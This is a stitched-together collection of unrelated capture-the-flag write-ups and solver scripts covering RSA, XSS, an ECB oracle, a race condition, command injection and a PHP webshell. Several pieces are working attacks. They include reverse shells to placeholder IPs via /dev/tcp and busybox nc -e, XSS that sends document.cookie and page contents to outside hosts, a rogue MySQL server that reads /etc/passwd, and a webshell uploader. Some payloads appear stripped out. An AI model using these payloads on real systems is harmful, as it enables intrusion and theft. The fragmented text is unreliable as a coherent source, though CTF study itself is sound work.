e = 65537c = text2Int(base64.b64decode('Cc0GtEY4nL7DhDukClWKaTHChrCVJeVVm3MJ+6hgiqaYUjbx9ArCrH0uzdfDqf4l81NAqV0fGtd8a9H4dlEQRykvOwpFpViK4qTU1H28nEMZ6O1Hnt9NrLxlSvpARZd8hxoJtXiwUbZI6rcI9lQwt+pJLvrvw2/Mz+fBMvrVPFONSYDH/lU0wy4jKbH0zl7zJ09+gCBo9oJ2Hqpsh0BkcS6ix5lDu/6JENG/ChC7jZGYWpte+QIkb/fQTwsw3tGIz1jWYhqQ8MrSxtGpyyPG9Oy/zGHIBEBDesS4r72D8n2mQExRnCH2KW5wz5hsM2TXYRILtJqWCOyv/AF56Ebg9A=='))p = 36511974694593690272644354864534934200522045623187752384823594729275730789191680514905027084950729514148679507005058047146031869995768765034876499069680202424692876360895377987654388335335689563844006584610187090074654410815638237841872991488680663410743679302763304922852173164820002226109196761249018548478251723505481964749218302723593776180246783117481280725673997940309717028451914887375722437833384305529884261542397905220138488012276363046571670926597766521674838665982314321651508118240682649024780239598188845543243957916954287138820155843952556411235376764737602711594439293285811102883736229645274092478611fi = p-1 d = gmpy.invert(e,fi)plain = hex(pow(int(c),d,p))[2:]flag = plain.decode("hex")print flag
```
The Flag is The empire secret system has been exposed ! The top secret flag is : Flag{S1nGL3_PR1m3_M0duLUs_ATT4cK_TaK3d_D0wn_RSA_T0_A_Sym3tr1c_ALg0r1thm} |
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First I thought this data needs normalization, then I would be able to do something with it and such, but then I just zoomed out it far enough to uncover the flag.
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<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>ctf-writeups</span></span></span><span>/</span><span><span>securinets-2018</span></span><span>/</span>protect<span>/</span> </div> </div>
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# Slots challenge writeup
**Category:** Misc
**Description:**
> defund is building a casino empire. Break his [slot machine](./slots.py), which is running at web.angstromctf.com:3002. Note: connect with netcat or an equivalent tool.
## Solution write-up
When reading the python code, we see that the server only asks for an input and converts it to a float. When the amount of money left is 0 the connection is closed. Moreover, it is not a question of luck since we cannot actually win. The roulette will be relaunched as long as a winning output is given.
```pythonwhile payout(line2): line2 = line()```
Since the value has to be successfuly converted to a float and must not validate the check `if bet <= 0:`, I looked around to see what special values could be converted to float. I found that '-inf', '+inf' and 'NaN' worked. However, since the infinite values can be compared to other numbers, the checks wont be validated. But comparing 'Nan' and any other number will always return `False`, and we can get the flag with that.
```$ nc web.angstromctf.com 3002Welcome to Fruit Slots!We've given you $10.00 on the house.Once you're a high roller, we'll give you a flag.You have $10.00.Enter your bet: NaN? : ? : ?? : ? : ? ◀? : ? : ?You lost everything.Wow, you're a high roller!A flag: actf{fruity}``` |
# 0CTF 2018: h4x0rs.club - Part II
**Category:** Web**Points:** 687**Solves:** 6**Description:**
> Get document.cookie of the admin: https://h4x0rs.club/game/
**Note:** This is an unintendend solution for the challenge.## Write-up ### Finding the XSS
There is a XSS on `/game/javascripts/app.js` in the function responsible for checking if the player won or lost the game.
```function b() { x(), $(".js-user").append($("#audiences").html()), $(".challenge-out-of-time").show(); [...] }```
The function above copies the html of an element with id `audiences` to an element with class `js-user` so by creating these elements using the injection on `/game/?msg=` we can achieve javascript execution.
Then, theoretically, by accessing `https://h4x0rs.club/game/?msg=<div id="audiences"><script>alert(1);</script></div><div class="js-user"></div>` and clicking on the play button an alert should pop up after around 15 seconds (the time it takes for the game to end).
But it doesn't, we are stopped by Chrome's XSS auditor which blocks the access to the page because it detected that a `script` tag on the URL was also reflected into the page.
We can bypass it by sending `https://h4x0rs.club/game/?msg=<div id="audiences"><script> |
```pythonfrom pwn import *
p = remote("chal1.swampctf.com", 1450)jadi = ''# p = process('./dungeon1.py')
print "Process STAGE 1 ..."lol = "A"*15lol2 = "A"*31stok=''for i in range(16): for j in range(0x7e,0x20,-1): payload = lol + stok + chr(j)+ lol2 p.sendline(payload) data = p.recvline()[:-1] if data[:32] == data[32:64]: stok+=chr(j) jadi+=chr(j) print jadi lol=lol[:-1] lol2=lol2[:-1] break
print "Process STAGE 2 ..."pos=''b = "A"*15aa = "A"*15for i in range(16): for j in range(0x7e,0x20,-1): payload = aa + pos + chr(j) + b p.sendline(payload) data = p.recvline()[:-1] if data[32:64] == data[64:96]: aa=aa[:-1] b =b[:-1] pos+=chr(j) jadi+=chr(j) print jadi break
print "Process STAGE 3 ..."kol = "A"*15wow=''for i in range(10): for j in range(0x7e,0x20,-1): p.sendline(kol) data1 = p.recvline()[:-1] payload = wow+ chr(j) + kol p.sendline(payload) data2 = p.recvline()[:-1] if data1 == data2: wow+=chr(j) jadi+=chr(j) print jadi kol=kol[:-1] break
print "FLAG : " + jadi + "}"``` |
Analyzing the pcap we saw something strange in the ICMP packets and after examine the “type” of them we realized there was a GIF header, so we extracted all the ICMP types with “ip.src = 10.136.255.127” and obtained a GIF file with the flag “flag{we_ride_at_midnight}” Command:tshark -r data.pcap -Y 'icmp and !(ip.src==10.136.255.127 and ip.src==128.227.236.205) and ip.src==10.136.255.127' -x | grep "0020" | cut -d" " -f5 | sed ':a;N;$!ba;s/\n//g' | xxd -r -p > output.gif
Note: The extraction can also be made with "scapy".
By @fikih888 |
```pythonfrom PIL import Imageimport pytesseractimport requestsimport zipfileimport shutilimport timeimport re
class Picture(object): def __init__(self, index): super(Picture, self).__init__() self.index = index self.img = Image.open('chall/%d.png' % index).convert('RGB') # Rotation using the token position token_height = 750 for w in range(0, 10): for h in range(650, 750): if sum(self.img.getpixel((w, h))) < 765: token_height = min(h, token_height) break if token_height < 688: self.img = self.img.rotate(180) # Traces and rotation adjustment self.trace_first, self.trace_last = (0, 0) sentence_top, sentence_bottom = (0, 0) for w in range(0, 10): for h in range(0, 1400): if w == 0: self.trace_first += pow(2, h) * min(1, 765-sum(self.img.getpixel((w, h)))) if w == 9: self.trace_last += pow(2, h) * min(1, 765-sum(self.img.getpixel((w, h)))) if (91 <= h < 100) or (391 <= h < 400) or (591 <= h < 600): sentence_top += min(1, 765-sum(self.img.getpixel((w, h)))) if (100 <= h < 109) or (400 <= h < 409) or (600 <= h < 609): sentence_bottom += min(1, 765-sum(self.img.getpixel((w, h)))) # Rotation adjustment if sentence_top < sentence_bottom: self.img = self.img.rotate(180) self.trace_first = int(bin(self.trace_last)[:1:-1], 2) self.trace_last = int(bin(self.trace_first)[:1:-1], 2)
# Mainsess = requests.session()start = time.time()
print('[*] Downloading ZIP ...')
response = sess.get('http://shreddinger.challs.malice.fr/challenge_accepted', stream=True)if response.status_code == 200: with open('output/%s_chall.zip' % start, 'wb') as f: response.raw.decode_content = True shutil.copyfileobj(response.raw, f)
print('[*] Downloading complete: %.4f' % (time.time() - start))
print('[*] Extracting ZIP ...')
zip_ref = zipfile.ZipFile('output/%s_chall.zip' % start, 'r')zip_ref.extractall('chall')zip_ref.close()
print('[*] Reassembling image ...')
pictures_list = [Picture(i) for i in range(0, 100)]background = Image.new('RGBA', (1000, 1400), (255, 255, 255, 255))used_pictures = []
for pic in pictures_list: if pic.trace_first == 0 and pic.trace_last != 0: breakbackground.paste(pic.img, (0, 0))used_pictures.append(pic.index)previous_pic = pic
for col in range(1, 100): lighter_img = (1400, None) for i in range(0, 100): pic = pictures_list[i] if pic.index not in used_pictures: diff = bin(pic.trace_first ^ previous_pic.trace_last)[2:].count('1') diff += bin((pic.trace_first >> 1) ^ previous_pic.trace_last)[2:].count('1') diff += bin((pic.trace_first << 1) ^ previous_pic.trace_last)[2:].count('1') diff = int(diff / 3) if diff < lighter_img[0]: lighter_img = (diff, pic) if lighter_img[1] is None: break background.paste(lighter_img[1].img, (10*col, 0)) used_pictures.append(lighter_img[1].index) previous_pic = lighter_img[1]
background.save('output/%s_out4.png' % start)print('[*] Reassembling complete: %.4f' % (time.time() - start))
print('[*] Processing OCR ...')
token = background.crop((0, 650, 1000, 750))text = pytesseract.image_to_string(token)text = re.sub(r'[^0-9A-Z]', '', text.upper())text = text.replace('O', '0').replace('P', 'F').replace('I', '1').replace('Z', '2').replace('Q', '0').replace('G', '6').replace('S', '5')
print('[*] Processing OCR complete: %.4f' % (time.time() - start))
if len(text) >= 40: print('[*] Sending token ...') response = sess.post('http://shreddinger.challs.malice.fr/', data={'shredded_token': text}) with open('output/%s_response.html' % start, 'a') as logfile: logfile.write(response.text) print('[+] Capturing Token: %s' % text) token.save('output/%s_%s.png' % (start, text))elif len(text) > 35: print('[-] Capturing Token: %s' % text) token.save('output/%s_%s.png' % (start, text))else: print('[!] Capturing Token: %s' % text)``` |
I wrote the write-up for this challenge in blogpost. I present you the algorithm I wrote to solve this challenge.
You can find full explanation [HERE](https://zenhack.it/writeups/SwampCTF2018/journey/)
```pythontarget = 'theresanotherstep'maxn = '14231234143212433'result = []for i in range(len(target)): sub = maxn[len(target) - i -1] result.append(chr(ord(target[i]) + int(sub)))print(''.join(result))``` |
# Exploit
## Description
The goal of this challenge to achieve a race condition. Indeed, the application allows you to buy flight tickets, if you have never bought a ticket you have the right to discounted tickets where 50% of the price will be refunded.The race condition is during the ticket purchase process.
## Exploitation Method
In order to win the race condition, it is necessary to buy at the same time the promotional ticket that interests us (here the one to go to Dubai because 50% of its price + our 1000 miles will allow us to buy the ticket for Las Vegas).So we have to create a large number of users (more than the number of tickets available) then launch a purchase request at the same time, some of the users will enter in the purchase process, receive the promotion but can not buy a ticket because there will be no more tickets available.Users who have won the race will have a balance of 1450 miles and can buy the ticket for Las Vegas.
## Exploitation script
```# coding: utf-8
from threading import Threadimport requestsimport stringfrom random import *import sysimport reimport time
allchar = string.ascii_letters + string.digits
class monThread(Thread):
### ### Initiation d'un thread avec création d'un utilisateur unique puis connexion pour obtenir un cookie valide ### def __init__(self, ip, port): Thread.__init__(self) self.username ="".join(choice(allchar) for x in range(randint(8, 12))) self.password = "".join(choice(allchar) for x in range(randint(8, 12))) self.target_url = "http://" + ip + ":" + str(port) + "/" r1 = requests.post(self.target_url + "register.php", data = {"rUsername":self.username, "rPassword":self.password, "rPassword2":self.password}) r2 = requests.get(self.target_url) rCookie = requests.utils.dict_from_cookiejar(r2.cookies) self.cookie = rCookie.get(rCookie.keys()[0]) r3 = requests.post(self.target_url + "login.php", data = {"username":self.username, "password":self.password}, cookies = {"PHPSESSID":self.cookie})
### ### On achète le billet 12 (car en promo à 900 donc +450 miles si race condition ok) ### def run(self): r4 = requests.post(self.target_url + "myairline/buy_ticket.php", cookies = {"PHPSESSID":self.cookie}, data = {"idFlightPost":12})
def getMilesIfCanFlag(self): r5 = requests.get(self.target_url + "myairline/", cookies = {"PHPSESSID":self.cookie}) regex = r".*Balance : (.*) Miles" strPage = r5.text match = re.search(regex, strPage) self.miles_account = match.group(1)
if(int(self.miles_account) > 1400): return 1 return 0
def getFlag(self): r7 = requests.post(self.target_url + "myairline/buy_ticket.php", cookies = {"PHPSESSID":self.cookie}, data = {"idFlightPost":7}) r6 = requests.get(self.target_url + "myairline/mytickets.php", cookies = {"PHPSESSID":self.cookie}) regex = r".*NDH{(.*)}"
strPage = r6.text match = re.search(regex, strPage)
return match.group(1)
def getUsername(self): return self.username
def getPassword(self): return self.password
def progress(count, total, status=''): bar_len = 60 filled_len = int(round(bar_len * count / float(total)))
percents = round(100.0 * count / float(total), 1) bar = '=' * filled_len + '-' * (bar_len - filled_len)
sys.stdout.write('[%s] %s%s ...%s\r' % (bar, percents, '%', status)) sys.stdout.flush()
def main(ip, port): listThread = [] nThreads = 300 print "\n" print "###########################" print "User creation in process..."
for i in range(1, nThreads): thread = monThread(ip, port) listThread.append(thread) progress(i+1, nThreads)
print "" print "Done !" print "###########################" print "" print "###########################" print "All threads are trying to buy the discounted ticket for Dubai worth 900 miles \nin order to cause a race condition and get the promotion (450 miles) without buying the ticket..." for i in range(0, nThreads-1): listThread[i].start()
j = 0 flag = "" username = "" password = "" cptWinner = 0 for i in range(0, nThreads-1): if(listThread[i].getMilesIfCanFlag()): if(j == 0): flag = listThread[i].getFlag() username = listThread[i].getUsername() password = listThread[i].getPassword() j += 1 cptWinner += 1
listThread[i].join()
print "" print str(cptWinner) + " account(s) won the race!" print ""
if flag != "": print "Using the first one to get the flag..." print "Username : " + username print "Password : " + password print "Flag is : NDH{" + flag + "}" else: print "Cannot get the flag :("
print "###########################"
if __name__ == '__main__': print "______ ___ _ _ _____ _ ___ ___ _ _ " print "| ___ \ / _ \ (_) | |_ _| | | \/ | | | (_) " print "| |_/ /__ _ ___ ___/ /_\ \ __ _ __ _ _ _ __ ___| |_| | | |__ ___| . . | __ _ ___| |__ _ _ __ ___ " print "| // _` |/ __/ _ \ _ |/ _` |/ _` | | '_ \/ __| __| | | '_ \ / _ \ |\/| |/ _` |/ __| '_ \| | '_ \ / _ \\" print "| |\ \ (_| | (_| __/ | | | (_| | (_| | | | | \__ \ |_| | | | | | __/ | | | (_| | (__| | | | | | | | __/" print "\_| \_\__,_|\___\___\_| |_/\__, |\__,_|_|_| |_|___/\__\_/ |_| |_|\___\_| |_/\__,_|\___|_| |_|_|_| |_|\___|" print " __/ | " print " |___/ "
if(len(sys.argv) >= 2 ): main(sys.argv[1], sys.argv[2]) else: print '' print 'Usage: exploit.py IP PORT'
``` |
# Volgactf CTF 2018
**It's recommended to read our responsive [web version](https://balsn.tw/ctf_writeup/20180324-volgactf/) of this writeup.**
- [Volgactf CTF 2018](#volgactf-ctf-2018) - [Pwn](#pwn) - [reverse](#reverse) - [Web](#web) - [Old Government Site (solved by sasdf, written by bookgin)](#old-government-site-solved-by-sasdf-written-by-bookgin) - [Guess book (solved by shw15 and sasdf, written by bookgin)](#guess-book-solved-by-shw15-and-sasdf-written-by-bookgin) - [Corp monitoring (unsolved, written by bookgin, special thanks to admin Aleksey)](#corp-monitoring-unsolved-written-by-bookgin-special-thanks-to-admin-aleksey) - [Lazy Admin (solved by sasdf & bookgin, written by bookgin)](#lazy-admin-solved-by-sasdf--bookgin-written-by-bookgin) - [SEO kings (solved by sasdf & bookgin, written by bookgin)](#seo-kings-solved-by-sasdf--bookgin-written-by-bookgin) - [Forgotten Task (unsolved, written by bookgin, special thanks to Alexander Andreev)](#forgotten-task-unsolved-written-by-bookgin-special-thanks-to-alexander-andreev) - [Shop request (no one solved)](#shop-request-no-one-solved) - [Crypto](#crypto) - [forensics](#forensics)
## Pwn
## reverse
## Web
### Old Government Site (solved by sasdf, written by bookgin)
By manipulting the parameter `page?id[]=18` to triger a error, we can see part of the source code. We soon found a hidden page at `page?id=18`
In the page we can POST a url, and the server will fetch it. The server agent is `ruby`. Take a look at [CVE-2017-17405](), ruby's feature. So let's get a reverse shell.
```# POST the url|bash -c 'bash -i >& /dev/tcp/1.2.3.4/5678 0>&1'```
`cat /flag` and win!
### Guess book (solved by shw15 and sasdf, written by bookgin)
People can create a post with title and content in the website, but no sign of XSS. We find lots of fake flags , as well as a shared Google doc link where people can make some fun there.
Soon after, sasdf found the serach query is vulnerable to injection. Here is the PoC:
```sh# bbb GET '/search?search=" and "bbb HTTP/1.0\r\n\r\n'# 2GET '/search?search=" and 1+1 or " HTTP/1.0\r\n\r\n# errorGET '/search?search=" AND 1+1 or " HTTP/1.0\r\n\r\n```
But this is not MySQL, becasue MySQL is case insentitive. After a few tries, we still have no idea what kind of this SQL language is, and stuck for hours.
Here comes the CTF saver. shw15 found it is [Lua](https://www.lua.org/). The syntax is simply `os.execute("sleep 10")`.
Then that's all. We have RCE and discover the flag is in `/etc/passwd`.
Once you know it's lua, the challenge becomes a piece of cake.
### Corp monitoring (unsolved, written by bookgin, special thanks to admin Aleksey)
A monitoring server will monitor the host via this API The timestamp doesn't matter at all.
`http://corpmonitoring.quals.2018.volgactf.ru:5000/api/check_host?target=corpmonitoring.quals.2018.volgactf.ru&_=1521894046582`
We tried some SQL/command injection but failed. By scanning the host, we found listening ports 21(ftp),22(ssh),80(http),3306(mysql),5000(monitoring website).Also, we tried to make the host monitor our server, `/api/check_host?target=MYIP`. The monitoring procedure is:
- TCP handshake with port 21- TCP handshake with port 22- HTTP Request to port 80 (no js engines)- MySQL client `monitoring` with encrypted password connects to port 3306. - If it logs in successfully, execute these queries: - SET NAMES 'utf8' COLLATE 'utf8_general_ci' - SET @@session.autocommit = OFF - SHOW DATABASES
The first idea is to perform a man-in-the-middle attack, making the monitoring host connect to itself and intercepting the query.However, after the client logins to its own MySQL server, the databaseis empty. We found nothing interesting there.Soon after, the MySQL server is down because someone changes the password! We ask the admins, and the official said the MySQL server is not required to be up in this challenge.
And... we stuck here for hours. We try to decrpyt the MySQL plaintext password, abuse the MySQL error message as the Flask-SQLAlchemy backend will show the error message, but both methods seem impossible.
After the competition ends, we ask one of the admins Aleksey about the solution. The main idea behind is http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/. Attack the client directly! What a cool idea!
We make it work after the competition, which gets the flag in a jiffy. Here is the rogue MySQL sever code: Note that it uses [Python3-pwntools](https://github.com/arthaud/python3-pwntools).
```python#!/usr/bin/env python3# Python 3.6.4from pwn import *
server = listen(3306)
server.wait_for_connection()# Server Greetingserver.send(bytes.fromhex('4a0000000a352e372e32310007000000447601417b4f123700fff7080200ff8115000000000000000000005c121c5e6f7d387a4515755b006d7973716c5f6e61746976655f70617373776f726400'))# Client login requestprint(server.recv())# Server Response OKserver.send(bytes.fromhex('0700000200000002000000'))# Client SQL queryprint(server.recv())# Server response with evilquery_ok = bytes.fromhex('0700000200000002000000')dump_etc_passwd = bytes.fromhex('0c000001fb2f6574632f706173737764')server.send(dump_etc_passwd)
# This contains the flag VolgaCTF{hoz3foh3wah6ohbaiphahg6ooxumu8ieNg7Tonoo}print(server.recv())```
The key is to discover **the client ability** bit in the client login request. However, we forgot to do that :(```.... .... 1... .... = Can Use LOAD DATA LOCAL: Set```
This task has been solved by only 5 teams.
### Lazy Admin (solved by sasdf & bookgin, written by bookgin)
First, navigate to `robots.txt` and found `unauthorized_users.txt` is disallowed. The file contains username and password.
Next, we are allowed to send a URL link to admin. However, the hostname will be overwritten. Thus it's unable to redirect the admin to other websites.
We also note that the header `Access-Control-Allow-Credentials` is set, which is obvious a challenge about XSS attack.
Then here is the key: If you're not logged in, access `profile.php` will redirect to `index.php?redir=profile.php`. It seems that we can abuse the redirection parameter.
After a few tries, we found the url parser is vulnerable. `/index.php?redir=http:http://1.2.3.4/` will bypass the parser validation, redirecting to `http://1.2.3.4/`.
Acctually, there are a number of ways to bypass the parser. Either [manipulating the host parameter](https://blog.harold.kim/2018/03/volgactf-2018-lazy-admin-writeup) (by @stypr) or using [space](https://gist.github.com/pich4ya/17dd5ef496c8fb11b79f7e7ea40d601f) (by pich4ya) can bypass the check.
So the rest is easy. We create a page to steal the page content/cookies, and send the redirection link to admin. If the bot allows cross domain requests, we can steal the page content!
```htmlmixed=<script> var xhr = new XMLHttpRequest(); xhr.withCredentials = true; xhr.open('GET', 'http://lazy-admin.quals.2018.volgactf.ru/profile.php', false); xhr.send(null); var flag = btoa(xhr.responseText); document.getElementById("image").src = "http://mywebsite.com/?a="+flag; </script>```
Acctually it works. We just decode it and get the flag. It seems that the bot is using phantomjs with `-web-security=false`, which disables cross domain XHR.
I spent lots of time on trying to bypass same origin policy, but I don't know they disable the feature. Next time I'll remember just give it a try first!
### SEO kings (solved by sasdf & bookgin, written by bookgin)
In the challenge, there is only one page with a form. We first manipulate some parameters to see if injection is possible. We accidently found a error page with lots of useful information by trying sending an array `site[]=`.
```shellcurl 'http://seo-kings.quals.2018.volgactf.ru:8080/' -A "Mozilla" --data 'site[]=asd'```
So we have part of the ruby source code:
```rubydef runAdmin(site)pid = Process.spawn("phantomjs --web-security=no bot.js '" + URI.escape(site) + "'") begin Timeout.timeout(1) do Process.wait(pid) end rescue Timeout::Error Process.kill('TERM', pid)end```
Phantomjs? Cool, it's XSS challenge. However, we tried various of XSS payload but they all failed to work. ([NULLKrypt3rs](https://github.com/NULLKrypt3rs/CTFs/blob/master/VolgaCTF-2018/SEOkings.md) makes the XSS work, actually.) Therefore, we start to try other attacks.
The ruby source uses `URI.escape(site)` to prevent command injection. It sounds sorts of weird. Why escape URI? It shoud escape command line parameters. That's the signal of possible command line injection.
Here is the PoC:
```# response time 0.4sa';sleep$IFS$((0));'# response time 1.4s, because the process will timeouta';sleep$IFS$((5));'```
The space is escaped, so `$IFS` is used as space:) The appending `$((0))` is to make the shell interpret `$IFS` variable properly.
Thanks to @sasdf. Here is his payload:```POST payload:site=a';$(nc$IFS$((1)).2.3.4$IFS$((9000)));'
Server side:echo "ruby -e require('base64');system(Base64.decode64('...'))" | ncat -lvp 9000 --send-only
Base64 payload:curl http://127.0.0.1:8080/admin?token=d595462f496fd347796b60b605b72ff6 -L -vv 2>&1 | nc 1.2.3.4 9001```
[jinmo123](https://ctftime.org/writeup/9366)'s payload is more elegant. The `nc` in busybox supports `-e` option, which can be used to pipe into shell to execute.
We modified his payload to connect with reverse shell:
```python#!/usr/bin/env python3# Python 3.6.4import requests# python3 pwntoolfrom pwn import *
server = listen(12345)server_result = listen(12346)
payload = "a';busybox$IFS$()nc$IFS$()1.2.3.4$IFS$()12345$IFS$()-esh;'"requests.post('http://seo-kings.quals.2018.volgactf.ru:8080/', data=dict(site=payload))
cmd = "bash -c 'bash -i >& /dev/tcp/1.2.3.4/12346 0>&1'"
server.wait_for_connection()server.sendline(cmd)server.close()server_result.wait_for_connection()server_result.interactive()```
### Forgotten Task (unsolved, written by bookgin, special thanks to Alexander Andreev)
The challenge's backend is PHP + laravel. The cookies is encrypted with `APP_KEY` defined in `.env`.
Additionally, the server's nginx configure file is provided:```server { listen 80 default_server; listen [::]:80 default_server;
root /var/www/html;
index index.php index.html;
server_name _;
location / { root /var/www/html; }
location /laravel { alias /var/www/laravel/public/; try_files $uri $uri/ @laravel;
location ~ \.php$ { include snippets/fastcgi-php.conf; fastcgi_param SCRIPT_FILENAME $request_filename; fastcgi_pass unix:/run/php/php7.0-fpm.sock; } }
location @laravel { rewrite ^/laravel/(.*)$ /laravel/index.php?$1 last; }}```
We got stuck here until the competition ended:(
We ask Alexander Andreev for his solution:
> Well, first of all, there was nginx path traversal which allows to steal .env file with app_key ([http://forgotten-task.quals.2018.volgactf.ru/laravel../.env](http://forgotten-task.quals.2018.volgactf.ru/laravel../.env)). Then you can find out that you recieve a cookie like volgactf\_task\_session. Is'a base64 encoded json. Inside there was a field "value" and "iv" so you can decrypt via AES-256-CBC. There was a serialized PHP object. Then you can construct bad object and get a shell :)
The key is to bypass nginx path matching and steal `.env` for the `APP_KEY`.
It's worth mentioning that there is an [Nginx configuration static analyzer](https://github.com/yandex/gixy). The website may be vulnerable if there is misconfiguration of nginx config file.
### Shop request (no one solved)
[Original writeup by the author](https://github.com/shvetsovalex/ctf/tree/master/2018/VolgaCTF-quals/Shop%20quest).
It looks like a challenging problem, XSS+SQLi+RCE. It's a pity we don't have much time to do it.
## Crypto
## forensics
|
There is bug in origin validation function. URLs with null origin can bypass it.```<html> <iframe src="data:text/html,<script>var call_window;call_window = window.open('http://localhost/call.php');setTimeout(function(){ call_window.postMessage({ type: 'audio', details: { sender_username: "<img src=xx: onerror=window.open('https://hookb.in/ZdNNDQ6X?a='+document.cookie)>", sender_team_name: 'zzzz', receiver_username: 'test', receiver_team_name: 'test' } }, '*');}, 1000);</script>"></iframe></html>``` |
[https://github.com/phi0/phi0.github.io/blob/master/_posts/2018-03-18-BackdoorCTF%202018%20-%20DIGILANT-ADMIN.md](https://github.com/phi0/phi0.github.io/blob/master/_posts/2018-03-18-BackdoorCTF%202018%20-%20DIGILANT-ADMIN.md) |
[https://blog.compass-security.com/2018/03/insomnihack-2018-authentication-service/](https://blog.compass-security.com/2018/03/insomnihack-2018-authentication-service/) |
# Rescue Shell, 100p, exploit
In this task we were given a binary showing a password prompt. There was a simple buffer overflow, allowing us to ROP and first dump GOT `fread` address, thenoverwrite it with libc single gadget offset. |
# Pixeditor (Web)
In the task we get access to a web-based picture editor.We can draw a small image by setting pixel colors and then save it on the server as JPG, PNG, BMP or GIF under given filename.
There is a check for the file extension when saving the file, however the name is truncated to 50 characters after the extension check.So we can use name ending with `.png` to pass the check, but if the name is too long, this extension will be cut.Using this trick we can save a `.php` file by using name in format `'x'*46+'.php.png`.
Now we would like to place some PHP code inside the file, but we can only draw some pixels.Fortunately PHP interpreters are permissive, and they will execute anything which looks like valid PHP code.So we can have some random bytes before and after PHP code in the file, and it will still work.
We need to paint a picture where bytes will create code we want.The easiest option is to use BMP because pixels simply go into the file directly as BGR color values.Web editor includes also alpha channel, so we actually have 32x32x4 bytes, and we want to skip every 4th byte, because it won't appear in the output file.Also the bytes in BMP are inverted, because the web editor format is RGBA and BMP has BGR.
The solution is to split the payload `` into 3-bytes long chunks, and place then in consecutive picture pixels inverted:
```pythonimport reimport requestsfrom crypto_commons.generic import chunk
def shell(url): while True: b = raw_input("> ") print(requests.get(url + "?a=system&b=" + b).text[3030:])
def pad(plain): missing = 3 - len(plain) % 3 return plain + (" " * missing)
def create_shell(main_url): data = [1 for _ in range(32 * 32 * 4)] index = 0 for c in chunk(pad(""), 3): data[index + 2] = ord(c[0]) # R data[index + 1] = ord(c[1]) # G data[index] = ord(c[2]) # B index += 4 url = main_url + "save.php" name = "A" * 46 + ".php" r = requests.post(url, data={"data": str(data), "name": name + ".JPG", "format": "BMP"}) link = re.findall("Download", r.text)[0] return link
def main(): main_url = "http://pixeditor.challs.malice.fr/" link = create_shell(main_url) print(main_url + link) shell(main_url + link)
main()```
With such shell we can just find the flag in `/` and cat it to get `NDH{Msp4int.3x3>all>th3g1mp}` |
# Shreddinger, 500p, dev
> The infamous Shredder tried to destroy important documents ! Please, help us recover them and prevents their evil scheme.
In this task we were given a simulated piece of paper cut into a hundred strips,as though it went through idealized shredding machine. We were supposed topiece them together to obtain original image, then read the written message -all within ten seconds.
Our solution was based on simulated annealing - basicly start with a randompermutation of pieces, then try to randomly swap two of them and check if the resulting picture is better than previous one - if not, keep the oldconfiguration, else the new. With small probability we also mutated it anyway,to escape local minima. Another kind of move was 180 degree rotation of randomsubsequence of strips.
Score of a configuration was defined as sum of differences of pixels on seams.Since this is a pretty expensive operation to calculate, we preprocessed thepieces and calculated partial scores of each pair of strips assuming they'reneighbours. This was still too slow, so we rewrote the SA part to C++.
Finally, when we stitched together the image, we still had to OCR it. Usualtools - tesseract and friends - were useless for this font, so we manuallycreated the font images and wrote our own OCR in Python.
The whole script was rather hacky and kind of slow (it was usually taking almost the full 10 seconds), it was failing randomly, but after a couple of tries, we managed to pass the checks. |
Abuse a logical bug that results in an Out-Of-Bounds vulnerability when invoking `call_function` . This OOB vulnerability allows invoking a function, only by knowing it's address. It also requires us to have the address of the to-be-invoked function in the stack, and this is possible by editing the weights. Note: I also found a way to leak an address in the binary, but it turned out that ASLR is off, so I wasted my time on leaking, even though I didn't have to :( |
It's write-up of SEOKings ( points 350 ) web problem of Volga CTF 2018. ( link [here](http://seo-kings.quals.2018.volgactf.ru:8080/) )
It was a long problem, also it was the first time, that I did some xss stuff.
Let's dive into the problem.
The website looks like this :
Main Page
You can see the Try button, and the input box above it, where you can insert the website for the company to have a look at.
At first I tried looking for 'robots.txt' on the site but it didn't reveal anything, except something about a 'config.ru' file ( look at the bottom of the page, in red ).
/opt/seo-kings/config.ru 
Then I tried `'/admin'` directory, one of the some common directories' , well this is what I got :
Please, use local IP
Now, it was certain that you can't directly access it, so I started looking into ways to access it from local IP.
Searching around I stumbled upon a **NULLCon '13 question's write-up** [here](https://sysexit.wordpress.com/2013/02/04/nullcon-hackim-ctf-2013-web-100-200-400-write-ups/), through this I came to know about an *accidentally found bug* in stackoverflow through a header as mentioned [here](https://blog.ircmaxell.com/2012/11/anatomy-of-attack-how-i-hacked.html).
So I set it like this :
`X-Forwarded-For: 127.0.0.1`
Still the same, replaced `127.0.0.1` with `localhost` but nothing changed. Then it clicked me, maybe XSS might work. I made a simple script to get the cookie like this ( the most basic of XSS perhaps, apart from alert popup boxes ) :
```" />```
but it didn't work, then I changed it a bit, to this :
```" />```
and lo behold I got a ping on my server, however as there wasn't any cookie so I didn't get any but the point is XSS 's working.
```188.246.233.46 - - [24/Mar/2018:17:56:25 +0000] "GET / HTTP/1.1" 200 3525 "http://localhost:8080/validator?site=%22%20/%3E%3Cimg%20src=%22http://my_server_ip_here/%22%3E%3C/img%3E" "Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/534.34 (KHTML, like Gecko) PhantomJS/1.9.8 Safari/534.34"```
So, now I had to get the bot ( phantomJS ) to visit `'/admin'` , somehow .
I tried adding **iframes** to the page and accessing it's content but I wasn't getting anything.
Told the admin about it, he suggested instead of iframe I should try using xhr. Well it was the first time I was doing xss , so I didn't thought I might actually solved it.
By now it was 4 am ( IST ) and I had been doing it for the past 4 hours with somewhat very little progress.
I started back after some good sleep and trying on some other problems. Later in the afternoon I made a simple script called payload.js to get the page using xhr and it's contents.
```try{ var data = null; var xhr = new XMLHttpRequest(); //xhr.withCredentials = true; xhr.addEventListener("readystatechange", function () { if (this.readyState === 4) { new Image().src="http://my_server_ip/?from_admin_payload="+this.responseText; } else{ new Image().src="http://my_server_ip/?xhr_not_executed"; } }); xhr.open("GET", "/admin"); xhr.send(data);}catch(err){ new Image().src="http://my_server_ip/?err="+err.message;}```Well this also didn't help much, I wasn't getting anything, after 15 minutes I thought maybe I might be getting something in the headers, changed the JS code, added this
```new Image().src="http://my_server_ip/?rsp_headers="+String(this.getAllResponseHeaders());```
*Still nothing :(*
Well, it definitely has something evil going on, by now only one hour was left for the CTF to end, I asked one of the admins, he suggested I use [file protocol](https://en.wikipedia.org/wiki/File_URI_scheme) to get '*some file*'. Well file protocol, is used to access files on local system. Now, it clicked to me about the hint on '**robots.txt**' page */opt/seo-kings/config.ru*
I changed last line of the xhr request to this :
